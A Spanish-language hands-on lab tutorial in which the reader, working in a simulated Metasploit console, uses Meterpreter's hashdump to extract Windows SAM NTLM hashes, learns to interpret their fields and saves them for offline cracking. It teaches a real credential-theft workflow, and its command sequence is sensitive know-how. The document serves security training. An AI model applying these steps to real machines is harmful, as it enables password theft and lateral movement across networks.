Extraer hashes de contraseñas con hashdump en Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá una de las técnicas de post-explotación más comunes: volcar hashes de contraseñas de un objetivo Windows comprometido. Específicamente, utilizará el comando hashdump disponible en el payload Meterpreter de Metasploit. Estos hashes, una vez obtenidos, pueden ser descifrados offline para revelar las contraseñas de los usuarios, permitiendo una mayor escalada de privilegios o movimiento lateral dentro de una red.

Para este ejercicio educativo, trabajaremos dentro de un entorno simulado de Metasploit Framework. Esto le permitirá aprender los comandos y el flujo de trabajo exactos sin necesidad de configurar una red compleja de víctima/atacante. Comenzará con una sesión Meterpreter preestablecida en una máquina Windows simulada.

Sus objetivos son:

  • Acceder a una sesión Meterpreter activa.
  • Utilizar el comando hashdump para extraer los hashes de contraseñas.
  • Comprender la estructura de los hashes volcados.
  • Guardar los hashes en un archivo para su uso futuro.

Obtener una sesión de Meterpreter con privilegios SYSTEM

En este paso, iniciará la consola simulada de Metasploit e interactuará con la sesión Meterpreter preexistente. En un escenario del mundo real, obtener esta sesión implicaría explotar una vulnerabilidad en la máquina objetivo. Para este laboratorio, la sesión ha sido preparada para usted.

Primero, navegue al directorio de simulación que fue creado por el script de configuración.

cd ~/project/metasploit-simulation

Ahora, inicie la consola simulada de Metasploit ejecutando el script msfconsole.

./msfconsole

Debería ver un banner de bienvenida y el prompt msf6 >. Esto indica que está en la consola principal de Metasploit. Para ver las sesiones activas, use el comando sessions con el flag -l (list).

sessions -l

Verá la siguiente salida, que muestra una sesión activa con un ID de 1.

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-PC  10.0.2.15:4444 -> 10.0.2.16:49152

La salida muestra que tenemos una sesión meterpreter ejecutándose como NT AUTHORITY\SYSTEM, que es el nivel de privilegio más alto en un sistema Windows. Esto es crucial para volcar hashes.

Ahora, interactúe con esta sesión usando su ID.

sessions -i 1

Su prompt cambiará de msf6 > a meterpreter >, confirmando que ahora está dentro de la sesión Meterpreter en la máquina objetivo.

Cargar la extensión de la API estándar priv si es necesario

En este paso, cargará la extensión priv. Esta extensión de Meterpreter proporciona comandos para la escalada de privilegios y para acceder a partes sensibles del sistema operativo, como la base de datos del Security Account Manager (SAM) donde se almacenan los hashes de contraseñas.

Si bien muchos payloads modernos de Meterpreter cargan las extensiones necesarias automáticamente cuando se llama a un comando, es una buena práctica saber cómo cargarlas manualmente. Esto asegura que tenga la funcionalidad requerida.

Dentro del prompt meterpreter >, escriba el siguiente comando para cargar la extensión priv:

load priv

El simulador confirmará que la extensión se ha cargado correctamente.

[+] Loading extension priv...
[+] Loaded extension: priv

Con la extensión priv cargada, ahora tiene acceso a comandos como hashdump.

Ejecutar el módulo de post-explotación hashdump

En este paso, ejecutará el comando hashdump. Este comando es la razón principal por la que cargamos la extensión priv. Funciona leyendo la base de datos SAM directamente de la memoria del sistema, eludiendo las protecciones en disco. Esto es posible porque nuestra sesión se está ejecutando con privilegios SYSTEM.

Ahora que está en el prompt de Meterpreter y ha cargado la extensión priv, simplemente ejecute el comando hashdump.

hashdump

El comando se ejecutará e imprimirá una lista de nombres de usuario y sus hashes de contraseña correspondientes en la pantalla.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labex-user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Ha extraído con éxito los hashes de contraseña de la máquina Windows simulada. En el siguiente paso, analizaremos la estructura de esta salida.

Observar los hashes NTLM volcados de la base de datos SAM

En este paso, aprenderá a interpretar la salida del comando hashdump. Comprender este formato es esencial para saber qué hacer con los hashes que ha recopilado.

Examinemos una línea de la salida que generó en el paso anterior:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Esta cadena está delimitada por dos puntos y tiene varios campos:

  1. Nombre de usuario: Administrator

    • Este es el nombre de la cuenta de usuario.
  2. Identificador Relativo (RID): 500

    • Este es un ID único para la cuenta dentro del dominio. El RID 500 es siempre la cuenta de administrador predeterminada.
  3. Hash LM: aad3b435b51404eeaad3b435b51404ee

    • Este es el hash para el protocolo de autenticación LAN Manager más antiguo. En los sistemas Windows modernos, a menudo es un hash en blanco o "nulo", como se ve aquí. Este valor específico indica que no se almacena ningún hash LM.
  4. Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

    • Este es el hash NT LAN Manager, que es utilizado por todas las versiones modernas de Windows. Este es el hash que utilizaría en una herramienta de cracking de contraseñas offline como John the Ripper o Hashcat.
  5. Comentario y Directorio de Inicio: :::

    • Estos últimos tres campos suelen estar vacíos y no se utilizan para el cracking.

Al observar esta salida, puede identificar las cuentas de usuario activas y, lo que es más importante, sus hashes NTLM, que representan sus contraseñas en un formato no reversible.

Guardar los hashes en un archivo para cracking offline

En este paso final, guardará los hashes recopilados en un archivo de texto. Es una práctica estándar guardar la evidencia y el botín de un sistema comprometido para su posterior análisis y uso. Almacenar los hashes en un archivo facilita su introducción en software de cracking de contraseñas.

Primero, necesita salir del entorno simulado de msfconsole para regresar a su shell de Linux habitual. Escriba exit en el prompt de meterpreter > para volver al prompt de msf6 >, y luego escriba exit nuevamente.

exit

Debería estar de vuelta en el prompt de meterpreter >. Escriba exit nuevamente para salir de la simulación.

exit

Debería estar de vuelta en su directorio ~/project/metasploit-simulation.

A continuación, cree un nuevo archivo llamado hashes.txt utilizando el editor de texto nano.

nano hashes.txt

Ahora, copie la salida de hashes de su terminal (la salida del comando hashdump en el Paso 3) y péguela en el editor nano. El contenido debería verse así:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labex-user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Presione Ctrl+X para salir de nano, luego Y para confirmar que desea guardar los cambios, y finalmente Enter para confirmar el nombre del archivo.

Para verificar que el archivo se guardó correctamente, puede mostrar su contenido con el comando cat.

cat hashes.txt

Ha guardado con éxito los hashes de contraseña en un archivo, listos para el cracking offline.

Resumen

En este laboratorio, realizó con éxito una técnica clásica de post-explotación utilizando una sesión simulada de Meterpreter.

Aprendió a:

  • Navegar e interactuar con sesiones en la consola de Metasploit Framework.
  • Cargar extensiones de Meterpreter como priv para obtener funcionalidad adicional.
  • Ejecutar el comando hashdump para extraer hashes de contraseñas NTLM de un objetivo de Windows.
  • Comprender el formato de los hashes volcados, identificando el nombre de usuario, RID y hash NTLM.
  • Guardar los hashes recopilados en un archivo para su uso offline con herramientas de cracking de contraseñas.

Esta habilidad es una parte fundamental de las pruebas de penetración, ya que a menudo proporciona las claves necesarias para expandir el acceso a través de una red.